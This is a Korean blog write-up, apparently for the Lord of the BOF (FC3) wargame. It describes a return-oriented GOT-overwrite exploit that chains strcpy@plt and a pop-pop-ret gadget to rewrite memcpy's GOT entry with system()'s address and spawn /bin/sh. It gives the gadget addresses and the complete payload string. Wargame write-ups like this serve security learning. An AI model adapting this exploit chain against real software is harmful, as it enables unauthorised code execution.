소스를 보면 다음과 같다.



이전단계에서 쓰던 fake ebp나 ret sled로 우회가 불가능하다. 주석에도 나와있듯이 GOT Overwrite로 우회해주면 된다.


RET부터

strcpy@plt + ppr + memcpy got[0] + system함수 주소[3] + 

strcpy@plt + ppr + memcpy got[1] + system함수 주소[2] + 

strcpy@plt + ppr + memcpy got[2] + system함수 주소[1] +  

strcpy@plt + ppr + memcpy got[3] + system함수 주소[0] + 

memcpy@plt + "AAAA" + /bin/sh주소


요런식으로 exploit해주면 memcpy got영역이 system함수주소로 overwrite되고 그 이후 memcpy에 /bin/sh를 인자로 주면서 다시 호출해주면 memcpy("/bin/sh")가 system("/bin/sh")으로 동작해서 쉘이 따질거라 생각했다.


일단 익스플로잇할때 필요한 값들을 하나하나씩 구했다.


strcpy@plt = 0x08048494



memcpy@plt = 0x08048434, memcpy@got = 0x08049888




ppr(pop pop ret) = 0x0804854f




system함수 주소 = 0x007507c0



sytem[0] 주소(00) = 0x08048138



sytem[1] 주소(75) = 0x080482c8



sytem[2] 주소(07) = 0x08048154




sytem[3] 주소(c0) = 0x08048535




/bin/sh 문자열 주소(system 함수 내의 /bin/sh사용) = 0x00833603



다구했으니 이제 값만 넣어줘서 익스플로잇해주면 된다. 


"A"*268+

"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x88\x98\x04\x08"+"\x35\x85\x04\x08"+

"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x89\x98\x04\x08"+"\x54\x81\x04\x08"+

"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x8a\x98\x04\x08"+"\xc8\x82\x04\x08"+

"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x8b\x98\x04\x08"+"\x38\x81\x04\x08"+

"\x34\x84\x04\x08"+"AAAA"+"\x03\x36\x83\x00" 


잘나온당.





























'Wargame > Lord Of the Bof(FC3)' 카테고리의 다른 글

LOB(FC3) dark_eyes -> hell_fire  (0) 2018.01.27
LOB(FC3) iron_golem -> dark_eyes  (0) 2018.01.27
LOB(FC3) gate -> iron_golem  (0) 2018.01.27
블로그 이미지

JeonYoungSin

메모 기록용 공간

,